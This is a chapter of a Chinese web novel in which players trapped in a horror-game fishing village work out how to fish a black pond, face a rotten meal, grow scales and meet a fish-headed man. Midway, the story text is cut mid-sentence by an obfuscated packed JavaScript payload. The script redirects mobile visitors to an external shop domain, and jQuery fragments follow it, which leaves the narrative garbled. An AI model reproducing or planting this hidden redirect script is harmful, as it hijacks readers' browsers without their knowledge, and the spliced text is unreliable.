月光被浓雾遮挡,鱼塘的水极黑,唯一不同的色彩就是那块猩红色,浓郁的鱼腥味混着血气,随风蔓延整个渔村。
闻岁皱着眉,喃喃道:“不对,不是鱼饵”
他目光锁定黝黑的鱼塘,捡起一块石砾投进去,却没有激起半分波澜。
在场的其他人注意到闻岁的动作,也隐约感觉到不对劲,彪头大汉回过神来,惊呼一声:“是水!这鱼塘有问题!”
人群爆发一阵激烈的讨论,伴随着无尽的恐惧与绝望,所有人都离鱼塘很远,怕自己成为下一个鱼饵。
很快,其他人陆陆续续回屋去,不再管这所谓的贡品,只想保住自己的命。
距离亥时只剩下不到一个小时,闻岁思索了一下,开口道:“咱们先别走,隔两分钟朝水里扔一个石子”
“一旦出现波纹,立即开始钓鱼。”
谁也不知道交不上贡品会有什么样的后果,他们赌不起。
许昭昭用力点了点头,捡起石头就朝水里扔,虽然没有波澜,却打了一个漂亮的水漂。
季白有些心动地伸出了手,下意识朝洛晴的方向看了一眼,洛晴愣了愣,无奈点了点头,季白就和许昭昭开始兴奋地打水漂。
洛晴托着腮,不知是在想什么,下一秒,一只瘦弱苍白的手伸到她的面前,手心躺着一枚扁平的石子。
这枚石子对于打水漂来说相当完美,显然是被精心挑选出来的。
她怔愣着抬头,见季白视线乱飞,手心敷着薄汗,指尖不住颤抖着。
见季白这幅样子,洛晴忍俊不禁地接过石子,在意识中询问:“这是送给我的吗?”
再次“听”到这样的声音,季白十分兴奋地点头,耳根微微泛红。
想来是洛晴的能力让他第一次能听见声音,稀奇又珍贵,所以季白不知道怎么感谢,便挑了一个自以为最好的东西给她。
洛晴将石头塞进洁白的提包,笑道:“谢谢。”她一般说一边用手比划出谢谢的手势,而后接着在意识里道:“去玩吧,有波纹就告诉我。”
季白连忙到鱼塘边接着打水漂,背影都显得十分开心。
季白和林昭昭在鱼塘边打水漂玩,倒也省了闻岁的功夫,他扭头看向洛晴问道:“洛晴姐,苍龙组的领袖是谁啊?”
他记得张叔之前说过的话,组长查无此人。
洛晴看着黝黑的水面,眼神闪过一丝迟疑,拍了拍包上的灰道:“是叫……角木蛟。”
说完她眼神茫然地嘀咕道:“怪了,我记忆力什么时候这么差了……”
但这声嘀咕并没有被闻岁捕捉到,他接着问道:“角木蛟是个什么样的人?”
远处两个“小孩”玩得正开心,在地上挑选扁平圆滑的石头,洛晴看着这幅悠闲的场景,嘴角微微上扬道:“我没见过。”
“准确的说,组里组外除了尾火虎都没人见过他。”
闻岁一怔,就看见洛晴脸上浮现出一抹八卦的笑容,凑近他道:“你知道吗?据说角木蛟隐姓埋名是因为之前谈了一段轰轰烈烈的恋爱,最后好像还被那男的甩了。”
洛晴眨了眨眼,眼尾微微上挑,狡黠道:“所以就有人猜角木蛟是个为情所伤的大美人,但是我直觉他应该是个男性,所以一定是个gay。”
“……”闻岁脑子一阵发懵,却被这诱人的八卦深深吸引,头压得更低,轻声道:“这么厉害的大人物居然也会被甩吗?对面也太不是东西了吧,渣男!”
洛晴满意点头道:“渣男!”
正当闻岁想要深入探讨某神秘领袖角木蛟的露水情缘时,许昭昭突然惊呼道:“闻岁哥哥,有波纹啦!”
闻岁和洛晴同时偏头看向鱼塘,令人震惊的是,鱼塘原本的黝黑褪去一些,呈现淡淡的绿色。
几人二话不说,从一旁拿过一个竹筐,拿起鱼竿就坐在那里垂钓。接下来的流程就正常多了,赶在亥时前,他们钓了整整一箩筐的鱼。
几人回到院落,之前掉头的老太太又出现在了门口,其他人蔫巴巴地站在不远处,见闻岁几人箩筐里的东西,眼睛都直了。
在几人疑惑间,老太太沙哑地嗓音再度响起:“你们咳咳很好……可以换取今晚的食物……”
“请跟我咳咳……来……”
闻岁警惕地看了眼时间,20:40。
距离禁止外出的时候只剩下二十分钟。
洛晴却朝他点了点头,闻岁安心了一些,和季白许昭昭一同加快步子跟在老太太身后。
但那老太太走路可以说是相当慢,令闻岁和洛晴都有些欲哭无泪。
他们也不敢催,一般观察周围的情况,一般磨磨蹭蹭地赶路,在20:45的时候到达目的地。
那房间和他们醒来时的那间相仿,中间放着八仙桌,上面摆着一盘盘菜品。
许昭昭揉了揉早已饥肠辘辘的肚子,冲到桌边仔细一看便瞬间没了食欲。
桌上摆的是几盘腐烂的鱼肉,还有一些发黑的海草,每道菜上都爬着些乳白色的虫子,看得胃里一阵翻江倒海。
唯一看着像样的只有四小碗米饭。
四个人谁也没有动筷子,对着一桌子倒胃口的菜陷入沉思。
闻岁忍不住开口问道:“洛晴姐,副本不至于给人饿死吧?”
洛晴扫了闻岁一眼,淡淡道:“你可以试试。”说完她便开始扒拉那一小碗可怜的米饭,三口就全部进了肚子。
见洛晴毫无负担地进食,闻岁笑了笑,招呼许昭昭和季白一起吃,不出五分钟就把米饭全部解决,扔下一桌子菜就朝原来的院子跑去,卡着最后一秒进了门。
“呼……”闻岁气喘吁吁地弯下腰,还没缓过神,就被一众人围住。
先前被光头针对的高瘦男大汉舔了舔发干的嘴唇,贼头鼠脸道:“小兄弟,你们这是有什么钓鱼的好办法?着不得说出来给大伙儿都听听!”
许昭昭被吓得连连后退,躲在季白的身后,季白咬着唇,尽管听不到高瘦男说的东西,也能感受到周围紧绷的气氛。
闻岁眯了眯眼,没有说话,彪头大汉见此情况,语重心长道:“你看我们这十几号人都饿着肚子,也不是个办法。”
其他人围地更近了些,只有一个看上去还
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17874906|212362||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
算斯文的女人静静地站在不远处。
面对众人眼底的猜忌,闻岁深深看了彪头大汉一眼,淡淡道:“我没有说不会告诉你们,可以离远一些吗,蠢气太多,有点缺氧。”
人群中一个中年妇女不乐意了,尖嘴道:“小伙子你这是什么话,都在同一个处境谁还比谁高贵不成?”
彪头大汉同样脸色铁青,却硬生生咬着牙退后了几步。
闻岁懒懒地抬眸,直截了当地告诉他们钓鱼的正确时段,却并没有将那些恶心的菜说出来,弄不好又会被倒打一耙说他们怕其他人抢食,故意恶心人。
其他人得知方法后一哄而散,高瘦男临走前瞪了闻岁一眼,却没被理睬,呲着牙回屋去了。
在这场闹剧落幕后,闻岁才松了口气,手心已经一片湿润,和另外三人一同进屋。
他检查了一下自己身上,又多出了许多鳞片,本想尝试撕下一片,却疼的龇牙咧嘴。
“鳞片是长在肉上的……”闻岁擦拭鳞片周围渗出的血迹,低沉道。
另外三人身上或多或少也开始长出鳞片,许昭昭好奇地碰了碰,却没什么感觉,无趣地拢拉下脑袋,季白则一脸紧张地看着其他人,一动也不敢动。
洛晴皱了皱眉道:“之前聊天的时候,我一时间没想起来角木蛟的全称,按理说我的记忆力不应该出现这样的漏洞。”
“记忆力……”闻岁了然,轻声道:“你听过一句话吗?”
“鱼的记忆力只有七秒。”
洛晴闻言一怔,笑了:“我想,那可能就是我们的未来。”
两人相视一笑,各自陷入沉思,不再言语,看得许昭昭和季白一头雾水。
由于缺乏足够的经验,闻岁并没有想出点什么东西,索性直接倒在床上,幽幽道:“晚安,玛卡巴卡。”
洛晴:“……晚安,岁岁车。”
兴许是方才精神太过紧绷,闻岁在这么早的时间竟真生出了点困意,迷迷糊糊地睡了过去。
……
半夜,直棂床透进一阵凉气,淅淅沥沥的雨滴打在屋檐,声音发闷,但不吵闹。
睡在窗边的闻岁瑟缩了一下,睁开了眼睛。
他被冷的一个哆嗦,翻了个身,迷迷糊糊间感觉床铺有些冰凉,鼻尖还闻到一股腥臭味儿。
闻岁的鼻翼扇动了一下,搓着胳膊坐了起来,就看见自己的竹板床上湿了一块,十分黏腻。
而在屋子的正中间,静静地躺着一滩水渍。
再一抬眼,恐慌感瞬间从脚底充上天灵盖,房间的门在他们睡觉前已经锁死,但现在却开了条缝,露出一片漆黑。
闻岁谨慎地将洛晴叫起来,和她一同靠近房门。
“吱呀——”
房门推开后,外面似乎并没有什么异常,雨滴在地板上拍碎,溅出水花流入缝隙中。
一切看上去都很正常。
他刚想松一口气,余光却瞥见门口狭窄走道的另一头。
那里站着一个人,身上穿着普通的渔民衣服,上面打满了补丁。
而他的脖子往上,却连了一个鱼头。